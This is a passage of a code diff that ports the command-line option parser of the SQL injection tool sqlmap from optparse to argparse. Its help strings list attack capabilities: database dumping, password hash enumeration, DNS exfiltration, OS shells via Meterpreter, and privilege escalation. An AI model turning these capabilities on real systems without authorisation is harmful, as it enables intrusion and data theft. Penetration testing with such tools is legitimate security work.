parser.add_argument("--hh", dest="advancedHelp", action="store_true", help="Show advanced help message and exit") - parser.add_option("--version", dest="showVersion", + parser.add_argument("--version", dest="showVersion", action="store_true", help="Show program's version number and exit") - parser.add_option("-v", dest="verbose", type=int, + parser.add_argument("-v", dest="verbose", type=int, help="Verbosity level: 0-6 (default %d)" % defaults.verbose) # Target options - target = OptionGroup(parser, "Target", "At least one of these " + target = parser.add_argument_group("Target", "At least one of these " "options has to be provided to define the target(s)") - target.add_option("-d", dest="direct", help="Connection string " + target.add_argument("-d", dest="direct", help="Connection string " "for direct database connection") - target.add_option("-u", "--url", dest="url", help="Target URL (e.g. \"http://www.site.com/vuln.php?id=1\")") + target.add_argument("-u", "--url", dest="url", help="Target URL (e.g. \"http://www.site.com/vuln.php?id=1\")") - target.add_option("-l", dest="logFile", help="Parse target(s) from Burp " + target.add_argument("-l", dest="logFile", help="Parse target(s) from Burp " "or WebScarab proxy log file") - target.add_option("-x", dest="sitemapUrl", help="Parse target(s) from remote sitemap(.xml) file") + target.add_argument("-x", dest="sitemapUrl", help="Parse target(s) from remote sitemap(.xml) file") - target.add_option("-m", dest="bulkFile", help="Scan multiple targets given " + target.add_argument("-m", dest="bulkFile", help="Scan multiple targets given " "in a textual file ") - target.add_option("-r", dest="requestFile", + target.add_argument("-r", dest="requestFile", help="Load HTTP request from a file") - target.add_option("-g", dest="googleDork", + target.add_argument("-g", dest="googleDork", help="Process Google dork results as target URLs") - target.add_option("-c", dest="configFile", + target.add_argument("-c", dest="configFile", help="Load options from a configuration INI file") # Request options - request = OptionGroup(parser, "Request", "These options can be used " + request = parser.add_argument_group("Request", "These options can be used " "to specify how to connect to the target URL") - request.add_option("--method", dest="method", + request.add_argument("--method", dest="method", help="Force usage of given HTTP method (e.g. PUT)") - request.add_option("--data", dest="data", + request.add_argument("--data", dest="data", help="Data string to be sent through POST (e.g. \"id=1\")") - request.add_option("--param-del", dest="paramDel", + request.add_argument("--param-del", dest="paramDel", help="Character used for splitting parameter values (e.g. &)") - request.add_option("--cookie", dest="cookie", + request.add_argument("--cookie", dest="cookie", help="HTTP Cookie header value (e.g. \"PHPSESSID=a8d127e..\")") - request.add_option("--cookie-del", dest="cookieDel", + request.add_argument("--cookie-del", dest="cookieDel", help="Character used for splitting cookie values (e.g. ;)") - request.add_option("--load-cookies", dest="loadCookies", + request.add_argument("--load-cookies", dest="loadCookies", help="File containing cookies in Netscape/wget format") - request.add_option("--drop-set-cookie", dest="dropSetCookie", action="store_true", + request.add_argument("--drop-set-cookie", dest="dropSetCookie", action="store_true", help="Ignore Set-Cookie header from response") - request.add_option("--user-agent", dest="agent", + request.add_argument("--user-agent", dest="agent", help="HTTP User-Agent header value") - request.add_option("--random-agent", dest="randomAgent", action="store_true", + request.add_argument("--random-agent", dest="randomAgent", action="store_true", help="Use randomly selected HTTP User-Agent header value") - request.add_option("--host", dest="host", + request.add_argument("--host", dest="host", help="HTTP Host header value") - request.add_option("--referer", dest="referer", + request.add_argument("--referer", dest="referer", help="HTTP Referer header value") - request.add_option("-H", "--header", dest="header", + request.add_argument("-H", "--header", dest="header", help="Extra header (e.g. \"X-Forwarded-For: 127.0.0.1\")") - request.add_option("--headers", dest="headers", + request.add_argument("--headers", dest="headers", help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")") - request.add_option("--auth-type", dest="authType", + request.add_argument("--auth-type", dest="authType", help="HTTP authentication type (Basic, Digest, NTLM or PKI)") - request.add_option("--auth-cred", dest="authCred", + request.add_argument("--auth-cred", dest="authCred", help="HTTP authentication credentials (name:password)") - request.add_option("--auth-file", dest="authFile", + request.add_argument("--auth-file", dest="authFile", help="HTTP authentication PEM cert/private key file") - request.add_option("--ignore-code", dest="ignoreCode", type=int, + request.add_argument("--ignore-code", dest="ignoreCode", type=int, help="Ignore (problematic) HTTP error code (e.g. 401)") - request.add_option("--ignore-proxy", dest="ignoreProxy", action="store_true", + request.add_argument("--ignore-proxy", dest="ignoreProxy", action="store_true", help="Ignore system default proxy settings") - request.add_option("--ignore-redirects", dest="ignoreRedirects", action="store_true", + request.add_argument("--ignore-redirects", dest="ignoreRedirects", action="store_true", help="Ignore redirection attempts") - request.add_option("--ignore-timeouts", dest="ignoreTimeouts", action="store_true", + request.add_argument("--ignore-timeouts", dest="ignoreTimeouts", action="store_true", help="Ignore connection timeouts") - request.add_option("--proxy", dest="proxy", + request.add_argument("--proxy", dest="proxy", help="Use a proxy to connect to the target URL") - request.add_option("--proxy-cred", dest="proxyCred", + request.add_argument("--proxy-cred", dest="proxyCred", help="Proxy authentication credentials (name:password)") - request.add_option("--proxy-file", dest="proxyFile", + request.add_argument("--proxy-file", dest="proxyFile", help="Load proxy list from a file") - request.add_option("--tor", dest="tor", action="store_true", + request.add_argument("--tor", dest="tor", action="store_true", help="Use Tor anonymity network") - request.add_option("--tor-port", dest="torPort", + request.add_argument("--tor-port", dest="torPort", help="Set Tor proxy port other than default") - request.add_option("--tor-type", dest="torType", + request.add_argument("--tor-type", dest="torType", help="Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))") - request.add_option("--check-tor", dest="checkTor", action="store_true", + request.add_argument("--check-tor", dest="checkTor", action="store_true", help="Check to see if Tor is used properly") - request.add_option("--delay", dest="delay", type=float, + request.add_argument("--delay", dest="delay", type=float, help="Delay in seconds between each HTTP request") - request.add_option("--timeout", dest="timeout", type=float, + request.add_argument("--timeout", dest="timeout", type=float, help="Seconds to wait before timeout connection (default %d)" % defaults.timeout) - request.add_option("--retries", dest="retries", type=int, + request.add_argument("--retries", dest="retries", type=int, help="Retries when the connection timeouts (default %d)" % defaults.retries) - request.add_option("--randomize", dest="rParam", + request.add_argument("--randomize", dest="rParam", help="Randomly change value for given parameter(s)") - request.add_option("--safe-url", dest="safeUrl", + request.add_argument("--safe-url", dest="safeUrl", help="URL address to visit frequently during testing") - request.add_option("--safe-post", dest="safePost", + request.add_argument("--safe-post", dest="safePost", help="POST data to send to a safe URL") - request.add_option("--safe-req", dest="safeReqFile", + request.add_argument("--safe-req", dest="safeReqFile", help="Load safe HTTP request from a file") - request.add_option("--safe-freq", dest="safeFreq", type=int, + request.add_argument("--safe-freq", dest="safeFreq", type=int, help="Test requests between two visits to a given safe URL") - request.add_option("--skip-urlencode", dest="skipUrlEncode", action="store_true", + request.add_argument("--skip-urlencode", dest="skipUrlEncode", action="store_true", help="Skip URL encoding of payload data") - request.add_option("--csrf-token", dest="csrfToken", + request.add_argument("--csrf-token", dest="csrfToken", help="Parameter used to hold anti-CSRF token") - request.add_option("--csrf-url", dest="csrfUrl", + request.add_argument("--csrf-url", dest="csrfUrl", help="URL address to visit for extraction of anti-CSRF token") - request.add_option("--force-ssl", dest="forceSSL", action="store_true", + request.add_argument("--force-ssl", dest="forceSSL", action="store_true", help="Force usage of SSL/HTTPS") - request.add_option("--chunked", dest="chunked", action="store_true", + request.add_argument("--chunked", dest="chunked", action="store_true", help="Use HTTP chunked transfer encoded (POST) requests") - request.add_option("--hpp", dest="hpp", action="store_true", + request.add_argument("--hpp", dest="hpp", action="store_true", help="Use HTTP parameter pollution method") - request.add_option("--eval", dest="evalCode", + request.add_argument("--eval", dest="evalCode", help="Evaluate provided Python code before the request (e.g. \"import hashlib;id2=hashlib.md5(id).hexdigest()\")") # Optimization options - optimization = OptionGroup(parser, "Optimization", "These options can be used to optimize the performance of sqlmap") + optimization = parser.add_argument_group("Optimization", "These options can be used to optimize the performance of sqlmap") - optimization.add_option("-o", dest="optimize", action="store_true", + optimization.add_argument("-o", dest="optimize", action="store_true", help="Turn on all optimization switches") - optimization.add_option("--predict-output", dest="predictOutput", action="store_true", + optimization.add_argument("--predict-output", dest="predictOutput", action="store_true", help="Predict common queries output") - optimization.add_option("--keep-alive", dest="keepAlive", action="store_true", + optimization.add_argument("--keep-alive", dest="keepAlive", action="store_true", help="Use persistent HTTP(s) connections") - optimization.add_option("--null-connection", dest="nullConnection", action="store_true", + optimization.add_argument("--null-connection", dest="nullConnection", action="store_true", help="Retrieve page length without actual HTTP response body") - optimization.add_option("--threads", dest="threads", type=int, + optimization.add_argument("--threads", dest="threads", type=int, help="Max number of concurrent HTTP(s) " "requests (default %d)" % defaults.threads) # Injection options - injection = OptionGroup(parser, "Injection", "These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts") + injection = parser.add_argument_group("Injection", "These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts") - injection.add_option("-p", dest="testParameter", + injection.add_argument("-p", dest="testParameter", help="Testable parameter(s)") - injection.add_option("--skip", dest="skip", + injection.add_argument("--skip", dest="skip", help="Skip testing for given parameter(s)") - injection.add_option("--skip-static", dest="skipStatic", action="store_true", + injection.add_argument("--skip-static", dest="skipStatic", action="store_true", help="Skip testing parameters that not appear to be dynamic") - injection.add_option("--param-exclude", dest="paramExclude", + injection.add_argument("--param-exclude", dest="paramExclude", help="Regexp to exclude parameters from testing (e.g. \"ses\")") - injection.add_option("--param-filter", dest="paramFilter", + injection.add_argument("--param-filter", dest="paramFilter", help="Select testable parameter(s) by place (e.g. \"POST\")") - injection.add_option("--dbms", dest="dbms", + injection.add_argument("--dbms", dest="dbms", help="Force back-end DBMS to provided value") - injection.add_option("--dbms-cred", dest="dbmsCred", + injection.add_argument("--dbms-cred", dest="dbmsCred", help="DBMS authentication credentials (user:password)") - injection.add_option("--os", dest="os", + injection.add_argument("--os", dest="os", help="Force back-end DBMS operating system to provided value") - injection.add_option("--invalid-bignum", dest="invalidBignum", action="store_true", + injection.add_argument("--invalid-bignum", dest="invalidBignum", action="store_true", help="Use big numbers for invalidating values") - injection.add_option("--invalid-logical", dest="invalidLogical", action="store_true", + injection.add_argument("--invalid-logical", dest="invalidLogical", action="store_true", help="Use logical operations for invalidating values") - injection.add_option("--invalid-string", dest="invalidString", action="store_true", + injection.add_argument("--invalid-string", dest="invalidString", action="store_true", help="Use random strings for invalidating values") - injection.add_option("--no-cast", dest="noCast", action="store_true", + injection.add_argument("--no-cast", dest="noCast", action="store_true", help="Turn off payload casting mechanism") - injection.add_option("--no-escape", dest="noEscape", action="store_true", + injection.add_argument("--no-escape", dest="noEscape", action="store_true", help="Turn off string escaping mechanism") - injection.add_option("--prefix", dest="prefix", + injection.add_argument("--prefix", dest="prefix", help="Injection payload prefix string") - injection.add_option("--suffix", dest="suffix", + injection.add_argument("--suffix", dest="suffix", help="Injection payload suffix string") - injection.add_option("--tamper", dest="tamper", + injection.add_argument("--tamper", dest="tamper", help="Use given script(s) for tampering injection data") # Detection options - detection = OptionGroup(parser, "Detection", "These options can be used to customize the detection phase") + detection = parser.add_argument_group("Detection", "These options can be used to customize the detection phase") - detection.add_option("--level", dest="level", type=int, + detection.add_argument("--level", dest="level", type=int, help="Level of tests to perform (1-5, default %d)" % defaults.level) - detection.add_option("--risk", dest="risk", type=int, + detection.add_argument("--risk", dest="risk", type=int, help="Risk of tests to perform (1-3, default %d)" % defaults.risk) - detection.add_option("--string", dest="string", + detection.add_argument("--string", dest="string", help="String to match when query is evaluated to True") - detection.add_option("--not-string", dest="notString", + detection.add_argument("--not-string", dest="notString", help="String to match when query is evaluated to False") - detection.add_option("--regexp", dest="regexp", + detection.add_argument("--regexp", dest="regexp", help="Regexp to match when query is evaluated to True") - detection.add_option("--code", dest="code", type=int, + detection.add_argument("--code", dest="code", type=int, help="HTTP code to match when query is evaluated to True") - detection.add_option("--text-only", dest="textOnly", action="store_true", + detection.add_argument("--text-only", dest="textOnly", action="store_true", help="Compare pages based only on the textual content") - detection.add_option("--titles", dest="titles", action="store_true", + detection.add_argument("--titles", dest="titles", action="store_true", help="Compare pages based only on their titles") # Techniques options - techniques = OptionGroup(parser, "Techniques", "These options can be used to tweak testing of specific SQL injection techniques") + techniques = parser.add_argument_group("Techniques", "These options can be used to tweak testing of specific SQL injection techniques") - techniques.add_option("--technique", dest="technique", + techniques.add_argument("--technique", dest="technique", help="SQL injection techniques to use (default \"%s\")" % defaults.technique) - techniques.add_option("--time-sec", dest="timeSec", type=int, + techniques.add_argument("--time-sec", dest="timeSec", type=int, help="Seconds to delay the DBMS response (default %d)" % defaults.timeSec) - techniques.add_option("--union-cols", dest="uCols", + techniques.add_argument("--union-cols", dest="uCols", help="Range of columns to test for UNION query SQL injection") - techniques.add_option("--union-char", dest="uChar", + techniques.add_argument("--union-char", dest="uChar", help="Character to use for bruteforcing number of columns") - techniques.add_option("--union-from", dest="uFrom", + techniques.add_argument("--union-from", dest="uFrom", help="Table to use in FROM part of UNION query SQL injection") - techniques.add_option("--dns-domain", dest="dnsDomain", + techniques.add_argument("--dns-domain", dest="dnsDomain", help="Domain name used for DNS exfiltration attack") - techniques.add_option("--second-url", dest="secondUrl", + techniques.add_argument("--second-url", dest="secondUrl", help="Resulting page URL searched for second-order response") - techniques.add_option("--second-req", dest="secondReq", + techniques.add_argument("--second-req", dest="secondReq", help="Load second-order HTTP request from file") # Fingerprint options - fingerprint = OptionGroup(parser, "Fingerprint") + fingerprint = parser.add_argument_group("Fingerprint") - fingerprint.add_option("-f", "--fingerprint", dest="extensiveFp", action="store_true", + fingerprint.add_argument("-f", "--fingerprint", dest="extensiveFp", action="store_true", help="Perform an extensive DBMS version fingerprint") # Enumeration options - enumeration = OptionGroup(parser, "Enumeration", "These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements") + enumeration = parser.add_argument_group("Enumeration", "These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements") - enumeration.add_option("-a", "--all", dest="getAll", action="store_true", + enumeration.add_argument("-a", "--all", dest="getAll", action="store_true", help="Retrieve everything") - enumeration.add_option("-b", "--banner", dest="getBanner", action="store_true", + enumeration.add_argument("-b", "--banner", dest="getBanner", action="store_true", help="Retrieve DBMS banner") - enumeration.add_option("--current-user", dest="getCurrentUser", action="store_true", + enumeration.add_argument("--current-user", dest="getCurrentUser", action="store_true", help="Retrieve DBMS current user") - enumeration.add_option("--current-db", dest="getCurrentDb", action="store_true", + enumeration.add_argument("--current-db", dest="getCurrentDb", action="store_true", help="Retrieve DBMS current database") - enumeration.add_option("--hostname", dest="getHostname", action="store_true", + enumeration.add_argument("--hostname", dest="getHostname", action="store_true", help="Retrieve DBMS server hostname") - enumeration.add_option("--is-dba", dest="isDba", action="store_true", + enumeration.add_argument("--is-dba", dest="isDba", action="store_true", help="Detect if the DBMS current user is DBA") - enumeration.add_option("--users", dest="getUsers", action="store_true", + enumeration.add_argument("--users", dest="getUsers", action="store_true", help="Enumerate DBMS users") - enumeration.add_option("--passwords", dest="getPasswordHashes", action="store_true", + enumeration.add_argument("--passwords", dest="getPasswordHashes", action="store_true", help="Enumerate DBMS users password hashes") - enumeration.add_option("--privileges", dest="getPrivileges", action="store_true", + enumeration.add_argument("--privileges", dest="getPrivileges", action="store_true", help="Enumerate DBMS users privileges") - enumeration.add_option("--roles", dest="getRoles", action="store_true", + enumeration.add_argument("--roles", dest="getRoles", action="store_true", help="Enumerate DBMS users roles") - enumeration.add_option("--dbs", dest="getDbs", action="store_true", + enumeration.add_argument("--dbs", dest="getDbs", action="store_true", help="Enumerate DBMS databases") - enumeration.add_option("--tables", dest="getTables", action="store_true", + enumeration.add_argument("--tables", dest="getTables", action="store_true", help="Enumerate DBMS database tables") - enumeration.add_option("--columns", dest="getColumns", action="store_true", + enumeration.add_argument("--columns", dest="getColumns", action="store_true", help="Enumerate DBMS database table columns") - enumeration.add_option("--schema", dest="getSchema", action="store_true", + enumeration.add_argument("--schema", dest="getSchema", action="store_true", help="Enumerate DBMS schema") - enumeration.add_option("--count", dest="getCount", action="store_true", + enumeration.add_argument("--count", dest="getCount", action="store_true", help="Retrieve number of entries for table(s)") - enumeration.add_option("--dump", dest="dumpTable", action="store_true", + enumeration.add_argument("--dump", dest="dumpTable", action="store_true", help="Dump DBMS database table entries") - enumeration.add_option("--dump-all", dest="dumpAll", action="store_true", + enumeration.add_argument("--dump-all", dest="dumpAll", action="store_true", help="Dump all DBMS databases tables entries") - enumeration.add_option("--search", dest="search", action="store_true", + enumeration.add_argument("--search", dest="search", action="store_true", help="Search column(s), table(s) and/or database name(s)") - enumeration.add_option("--comments", dest="getComments", action="store_true", + enumeration.add_argument("--comments", dest="getComments", action="store_true", help="Check for DBMS comments during enumeration") - enumeration.add_option("--statements", dest="getStatements", action="store_true", + enumeration.add_argument("--statements", dest="getStatements", action="store_true", help="Retrieve SQL statements being run on DBMS") - enumeration.add_option("-D", dest="db", + enumeration.add_argument("-D", dest="db", help="DBMS database to enumerate") - enumeration.add_option("-T", dest="tbl", + enumeration.add_argument("-T", dest="tbl", help="DBMS database table(s) to enumerate") - enumeration.add_option("-C", dest="col", + enumeration.add_argument("-C", dest="col", help="DBMS database table column(s) to enumerate") - enumeration.add_option("-X", dest="exclude", + enumeration.add_argument("-X", dest="exclude", help="DBMS database identifier(s) to not enumerate") - enumeration.add_option("-U", dest="user", + enumeration.add_argument("-U", dest="user", help="DBMS user to enumerate") - enumeration.add_option("--exclude-sysdbs", dest="excludeSysDbs", action="store_true", + enumeration.add_argument("--exclude-sysdbs", dest="excludeSysDbs", action="store_true", help="Exclude DBMS system databases when enumerating tables") - enumeration.add_option("--pivot-column", dest="pivotColumn", + enumeration.add_argument("--pivot-column", dest="pivotColumn", help="Pivot column name") - enumeration.add_option("--where", dest="dumpWhere", + enumeration.add_argument("--where", dest="dumpWhere", help="Use WHERE condition while table dumping") - enumeration.add_option("--start", dest="limitStart", type=int, + enumeration.add_argument("--start", dest="limitStart", type=int, help="First dump table entry to retrieve") - enumeration.add_option("--stop", dest="limitStop", type=int, + enumeration.add_argument("--stop", dest="limitStop", type=int, help="Last dump table entry to retrieve") - enumeration.add_option("--first", dest="firstChar", type=int, + enumeration.add_argument("--first", dest="firstChar", type=int, help="First query output word character to retrieve") - enumeration.add_option("--last", dest="lastChar", type=int, + enumeration.add_argument("--last", dest="lastChar", type=int, help="Last query output word character to retrieve") - enumeration.add_option("--sql-query", dest="sqlQuery", + enumeration.add_argument("--sql-query", dest="sqlQuery", help="SQL statement to be executed") - enumeration.add_option("--sql-shell", dest="sqlShell", action="store_true", + enumeration.add_argument("--sql-shell", dest="sqlShell", action="store_true", help="Prompt for an interactive SQL shell") - enumeration.add_option("--sql-file", dest="sqlFile", + enumeration.add_argument("--sql-file", dest="sqlFile", help="Execute SQL statements from given file(s)") # Brute force options - brute = OptionGroup(parser, "Brute force", "These options can be used to run brute force checks") + brute = parser.add_argument_group("Brute force", "These options can be used to run brute force checks") - brute.add_option("--common-tables", dest="commonTables", action="store_true", + brute.add_argument("--common-tables", dest="commonTables", action="store_true", help="Check existence of common tables") - brute.add_option("--common-columns", dest="commonColumns", action="store_true", + brute.add_argument("--common-columns", dest="commonColumns", action="store_true", help="Check existence of common columns") # User-defined function options - udf = OptionGroup(parser, "User-defined function injection", "These options can be used to create custom user-defined functions") + udf = parser.add_argument_group("User-defined function injection", "These options can be used to create custom user-defined functions") - udf.add_option("--udf-inject", dest="udfInject", action="store_true", + udf.add_argument("--udf-inject", dest="udfInject", action="store_true", help="Inject custom user-defined functions") - udf.add_option("--shared-lib", dest="shLib", + udf.add_argument("--shared-lib", dest="shLib", help="Local path of the shared library") # File system options - filesystem = OptionGroup(parser, "File system access", "These options can be used to access the back-end database management system underlying file system") + filesystem = parser.add_argument_group("File system access", "These options can be used to access the back-end database management system underlying file system") - filesystem.add_option("--file-read", dest="fileRead", + filesystem.add_argument("--file-read", dest="fileRead", help="Read a file from the back-end DBMS file system") - filesystem.add_option("--file-write", dest="fileWrite", + filesystem.add_argument("--file-write", dest="fileWrite", help="Write a local file on the back-end DBMS file system") - filesystem.add_option("--file-dest", dest="fileDest", + filesystem.add_argument("--file-dest", dest="fileDest", help="Back-end DBMS absolute filepath to write to") # Takeover options - takeover = OptionGroup(parser, "Operating system access", "These options can be used to access the back-end database management system underlying operating system") + takeover = parser.add_argument_group("Operating system access", "These options can be used to access the back-end database management system underlying operating system") - takeover.add_option("--os-cmd", dest="osCmd", + takeover.add_argument("--os-cmd", dest="osCmd", help="Execute an operating system command") - takeover.add_option("--os-shell", dest="osShell", action="store_true", + takeover.add_argument("--os-shell", dest="osShell", action="store_true", help="Prompt for an interactive operating system shell") - takeover.add_option("--os-pwn", dest="osPwn", action="store_true", + takeover.add_argument("--os-pwn", dest="osPwn", action="store_true", help="Prompt for an OOB shell, Meterpreter or VNC") - takeover.add_option("--os-smbrelay", dest="osSmb", action="store_true", + takeover.add_argument("--os-smbrelay", dest="osSmb", action="store_true", help="One click prompt for an OOB shell, Meterpreter or VNC") - takeover.add_option("--os-bof", dest="osBof", action="store_true", + takeover.add_argument("--os-bof", dest="osBof", action="store_true", help="Stored procedure buffer overflow " "exploitation") - takeover.add_option("--priv-esc", dest="privEsc", action="store_true", + takeover.add_argument("--priv-esc", dest="privEsc", action="store_true", help="Database process user privilege escalation") - takeover.add_option("--msf-path", dest="msfPath", + takeover.add_argument("--msf-path", dest="msfPath", help="Local path where Metasploit Framework is installed") - takeover.add_option("--tmp-path", dest="tmpPath", + takeover.add_argument("--tmp-path", dest="tmpPath", help="Remote absolute path of temporary files directory") # Windows registry options - windows = OptionGroup(parser, "Windows registry access", "These options can be used to access the back-end database management system Windows registry") + windows = parser.add_argument_group("Windows registry access", "These options can be used to access the back-end database management system Windows registry") - windows.add_option("--reg-read", dest="regRead", action="store_true", + windows.add_argument("--reg-read", dest="regRead", action="store_true", help="Read a Windows registry key value") - windows.add_option("--reg-add", dest="regAdd", action="store_true", + windows.add_argument("--reg-add", dest="regAdd", action="store_true", help="Write a Windows registry key value data") - windows.add_option("--reg-del", dest="regDel", action="store_true", + windows.add_argument("--reg-del", dest="regDel", action="store_true", help="Delete a Windows registry key value") - windows.add_option("--reg-key", dest="regKey", + windows.add_argument("--reg-key", dest="regKey", help="Windows registry key") - windows.add_option("--reg-value", dest="regVal", + windows.add_argument("--reg-value", dest="regVal", help="Windows registry key value") - windows.add_option("--reg-data", dest="regData", + windows.add_argument("--reg-data", dest="regData", help="Windows registry key value data") - windows.add_option("--reg-type", dest="regType", + windows.add_argument("--reg-type", dest="regType", help="Windows registry key value type") # General options - general = OptionGroup(parser, "General", "These options can be used to set some general working parameters") + general = parser.add_argument_group("General", "These options can be used to set some general working parameters") - general.add_option("-s", dest="sessionFile", + general.add_argument("-s", dest="sessionFile", help="Load session from a stored (.sqlite) file") - general.add_option("-t", dest="trafficFile", + general.add_argument("-t", dest="trafficFile", help="Log all HTTP traffic into a textual file") - general.add_option("--batch", dest="batch", action="store_true", + general.add_argument("--batch", dest="batch", action="store_true", help="Never ask for user input, use the default behavior") - general.add_option("--binary-fields", dest="binaryFields", + general.add_argument("--binary-fields", dest="binaryFields", help="Result fields having binary values (e.g. \"digest\")") - general.add_option("--check-internet", dest="checkInternet", action="store_true", + general.add_argument("--check-internet", dest="checkInternet", action="store_true", help="Check Internet connection before assessing the target") - general.add_option("--crawl", dest="crawlDepth", type=int, + general.add_argument("--crawl", dest="crawlDepth", type=int, help="Crawl the website starting from the target URL") - general.add_option("--crawl-exclude", dest="crawlExclude", + general.add_argument("--crawl-exclude", dest="crawlExclude", help="Regexp to exclude pages from crawling (e.g. \"logout\")") - general.add_option("--csv-del", dest="csvDel", + general.add_argument("--csv-del", dest="csvDel", help="Delimiting character used in CSV output (default \"%s\")" % defaults.csvDel) - general.add_option("--charset", dest="charset", + general.add_argument("--charset", dest="charset", help="Blind SQL injection charset (e.g. \"0123456789abcdef\")") - general.add_option("--dump-format", dest="dumpFormat", + general.add_argument("--dump-format", dest="dumpFormat", help="Format of dumped data (CSV (default), HTML or SQLITE)") - general.add_option("--encoding", dest="encoding", + general.add_argument("--encoding", dest="encoding", help="Character encoding used for data retrieval (e.g. GBK)") - general.add_option("--eta", dest="eta", action="store_true", + general.add_argument("--eta", dest="eta", action="store_true", help="Display for each output the estimated time of arrival") - general.add_option("--flush-session", dest="flushSession", action="store_true", + general.add_argument("--flush-session", dest="flushSession", action="store_true", help="Flush session files for current target") - general.add_option("--forms", dest="forms", action="store_true", + general.add_argument("--forms", dest="forms", action="store_true", help="Parse and test forms on target URL") - general.add_option("--fresh-queries", dest="freshQueries", action="store_true", + general.add_argument("--fresh-queries", dest="freshQueries", action="store_true", help="Ignore query results stored in session file") - general.add_option("--har", dest="harFile", + general.add_argument("--har", dest="harFile", help="Log all HTTP traffic into a HAR file") - general.add_option("--hex", dest="hexConvert", action="store_true", + general.add_argument("--hex", dest="hexConvert", action="store_true", help="Use hex conversion during data retrieval") - general.add_option("--output-dir", dest="outputDir", action="store", + general.add_argument("--output-dir", dest="outputDir", action="store", help="Custom output directory path") - general.add_option("--parse-errors", dest="parseErrors", action="store_true", + general.add_argument("--parse-errors", dest="parseErrors", action="store_true", help="Parse and display DBMS error messages from responses") - general.add_option("--preprocess", dest="preprocess", + general.add_argument("--preprocess", dest="preprocess", help="Use given script(s) for preprocessing of response data") - general.add_option("--repair", dest="repair", action="store_true", + general.add_argument("--repair", dest="repair", action="store_true", help="Redump entries having unknown character marker (%s)" % INFERENCE_UNKNOWN_CHAR) - general.add_option("--save", dest="saveConfig", + general.add_argument("--save", dest="saveConfig", help="Save options to a configuration INI file") - general.add_option("--scope", dest="scope", + general.add_argument("--scope", dest="scope", help="Regexp to filter targets from provided proxy log") - general.add_option("--test-filter", dest="testFilter", + general.add_argument("--test-filter", dest="testFilter", help="Select tests by payloads and/or titles (e.g. ROW)") - general.add_option("--test-skip", dest="testSkip", + general.add_argument("--test-skip", dest="testSkip", help="Skip tests by payloads and/or titles (e.g. BENCHMARK)") - general.add_option("--update", dest="updateAll", action="store_true", + general.add_argument("--update", dest="updateAll", action="store_true", help="Update sqlmap") # Miscellaneous options - miscellaneous = OptionGroup(parser, "Miscellaneous") + miscellaneous = parser.add_argument_group("Miscellaneous") - miscellaneous.add_option("-z", dest="mnemonics", + miscellaneous.add_argument("-z", dest="mnemonics", help="Use short mnemonics (e.g. \"flu,bat,ban,tec=EU\")") - miscellaneous.add_option("--alert", dest="alert", + miscellaneous.add_argument("--alert", dest="alert", help="Run host OS command(s) when SQL injection is found") - miscellaneous.add_option("--answers", dest="answers", + miscellaneous.add_argument("--answers", dest="answers", help="Set predefined answers (e.g. \"quit=N,follow=N\")") - miscellaneous.add_option("--beep", dest="beep", action="store_true", + miscellaneous.add_argument("--beep", dest="beep", action="store_true", help="Beep on question and/or when SQL injection is found") - miscellaneous.add_option("--cleanup", dest="cleanup", action="store_true", + miscellaneous.add_argument("--cleanup", dest="cleanup", action="store_true", help="Clean up the DBMS from sqlmap specific UDF and tables") - miscellaneous.add_option("--dependencies", dest="dependencies", action="store_true", + miscellaneous.add_argument("--dependencies", dest="dependencies", action="store_true", help="Check for missing (optional) sqlmap dependencies") - miscellaneous.add_option("--disable-coloring", dest="disableColoring", action="store_true", + miscellaneous.add_argument("--disable-coloring", dest="disableColoring", action="store_true", help="Disable console output coloring") - miscellaneous.add_option("--gpage", dest="googlePage", type=int, + miscellaneous.add_argument("--gpage", dest="googlePage", type=int, help="Use Google dork results from specified page number") - miscellaneous.add_option("--list-tampers", dest="listTampers", action="store_true", + miscellaneous.add_argument("--list-tampers", dest="listTampers", action="store_true", help="Display list of available tamper scripts") - miscellaneous.add_option("--mobile", dest="mobile", action="store_true", + miscellaneous.add_argument("--mobile", dest="mobile", action="store_true", help="Imitate smartphone through HTTP User-Agent header") - miscellaneous.add_option("--offline", dest="offline", action="store_true", + miscellaneous.add_argument("--offline", dest="offline", action="store_true", help="Work in offline mode (only use session data)") - miscellaneous.add_option("--purge", dest="purge", action="store_true", + miscellaneous.add_argument("--purge", dest="purge", action="store_true", help="Safely remove all content from sqlmap data directory") - miscellaneous.add_option("--skip-waf", dest="skipWaf", action="store_true", + miscellaneous.add_argument("--skip-waf", dest="skipWaf", action="store_true", help="Skip heuristic detection of WAF/IPS protection") - miscellaneous.add_option("--smart", dest="smart", action="store_true", + miscellaneous.add_argument("--smart", dest="smart", action="store_true", help="Conduct thorough tests only if positive heuristic(s)") - miscellaneous.add_option("--sqlmap-shell", dest="sqlmapShell", action="store_true", + miscellaneous.add_argument("--sqlmap-shell", dest="sqlmapShell", action="store_true", help="Prompt for an interactive sqlmap shell") - miscellaneous.add_option("--tmp-dir", dest="tmpDir", + miscellaneous.add_argument("--tmp-dir", dest="tmpDir", help="Local directory for storing temporary files") - miscellaneous.add_option("--web-root", dest="webRoot", + miscellaneous.add_argument("--web-root", dest="webRoot", help="Web server document root directory (e.g. \"/var/www\")") - miscellaneous.add_option("--wizard", dest="wizard", action="store_true", + miscellaneous.add_argument("--wizard", dest="wizard", action="store_true", help="Simple wizard interface for beginner users") # Hidden and/or experimental options - parser.add_option("--base64", dest="base64Parameter", - help=SUPPRESS_HELP) + parser.add_argument("--base64", dest="base64Parameter", + help=SUPPRESS) # help="Parameter(s) containing Base64 encoded values") - parser.add_option("--crack", dest="hashFile", - help=SUPPRESS_HELP) + parser.add_argument("--crack", dest="hashFile", + help=SUPPRESS) # help="Load and crack hashes from a file (standalone)") - parser.add_option("--dummy", dest="dummy", action="store_true", - help=SUPPRESS_HELP) + parser.add_argument("--dummy", dest="dummy", action="store_true", + help=SUPPRESS) - parser.add_option("--murphy-rate", dest="murphyRate", type=int, - help=SUPPRESS_HELP) + parser.add_argument("--murphy-rate", dest="murphyRate", type=int, + help=SUPPRESS) - parser.add_option("--debug", dest="debug", action="store_true", - help=SUPPRESS_HELP) + parser.add_argument("--debug", dest="debug", action="store_true", + help=SUPPRESS) - parser.add_option("--disable-precon", dest="disablePrecon", action="store_true", - help=SUPPRESS_HELP) + parser.add_argument("--disable-precon", dest="disablePrecon", 